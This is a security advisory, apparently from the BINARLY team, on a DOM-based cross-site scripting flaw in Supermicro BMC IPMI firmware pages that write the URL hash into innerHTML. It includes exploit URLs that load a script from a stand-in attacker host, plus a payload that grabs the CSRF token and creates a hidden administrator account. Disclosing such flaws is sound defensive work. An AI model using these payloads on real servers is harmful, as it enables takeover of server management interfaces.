Cross-site scripting vulnerability in Supermicro BMC IPMI firmware in the servh_storage_create and servh_storage_add webpages using the hash property of the URL

Image preview

servh_storage_create and servh_storage_add HTML pages contain the PageInit() JavaScript function, which is executed when the webpage is loaded. This function gets the value of request hash property and uses it to construct a string that will be assigned to the content of the HTML object with id = devinfo using the innerHTML property without any sanitization.
The following code is from the servh_storage_create HTML page, for the servh_storage_add it is similar:

function PageInit() {
  ...
  var param1 = window.location.hash.split("#");
  if (param1[1].length != 0) {
    var param2 = param1[1].split(",");
    if (param2[0].length != 0 && param2[1].length != 0) {
      ctrl_idx = param2[0];
      max_api_row_size = param2[1];
      document.getElementById("devinfo").innerHTML =
        "Device" + ctrl_idx + ": Unconfigured good drive";
      GetPhysicalHDDInfo(ctrl_idx);
    }
  } else {
    location.href = "../cgi/url_redirect.cgi?url_name=servh_storage";
  }
}

As a result, arbitrary JavaScript code can be injected into the webpage, which will be executed on behalf of the authenticated user.

NOTE: the attack only works on IE11 and Microsoft Edge in Internet Explorer mode, otherwise the value of window.location.hash will be URL-encoded, which prevents code injection.

Image preview

To create an administrator account with username BRLY and password BRLYBRLY an attacker can trick an authenticated user with administrative privileges to open one of this links in a web browser:

https://192.168.0.8:443/cgi/url_redirect.cgi?url_name=servh_storage_create#<img src=1 onerror='document.write("<script src=\"https://{ATTACKER_HOST}/payload.js\"></script>")'>,2

https://192.168.0.8:443/cgi/url_redirect.cgi?url_name=servh_storage_add#<img src=1 onerror='document.write("<script src=\"https://{ATTACKER_HOST}/payload.js\"></script>")'>,2

Where https://{ATTACKER_HOST}/payload.js is an address of hosted malicious JS:

var ajaxRequest = new XMLHttpRequest();
var csrfRegex = /CSRF_TOKEN", "([^"]*?)"/g;
ajaxRequest.open("GET", "/cgi/url_redirect.cgi?url_name=topmenu", false);
ajaxRequest.send();
var csrfMatch = csrfRegex.exec(ajaxRequest.responseText);
var csrf = csrfMatch[1];

var params =
  "op=config_user&username=BRLY&original_username=2&password=BRLYBRLY&new_privilege=4&_=";
ajaxRequest = new XMLHttpRequest();
ajaxRequest.open("POST", "/cgi/op.cgi", true);
ajaxRequest.setRequestHeader("Csrf_token", csrf);
ajaxRequest.send(params);

In this attack, the onerror event is used to execute JavaScript code when the browser tries to download a non-existent image. The JS code adds the additional <script> element to the page, which loads malicious payload from the attacker controlled server. When executed, the payload first obtains the user's CSRF token and then uses it to make a POST request in order to create a user with administrative privileges and credentials defined by the attacker.

Image preview

Ideally, user controlled parameters should not be assigned to HTML elements. If it is not possible in such case, the ctrl_idx parameter must be checked against a whitelist of allowed values.

Image preview

This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.

Image preview

BINARLY team

Image preview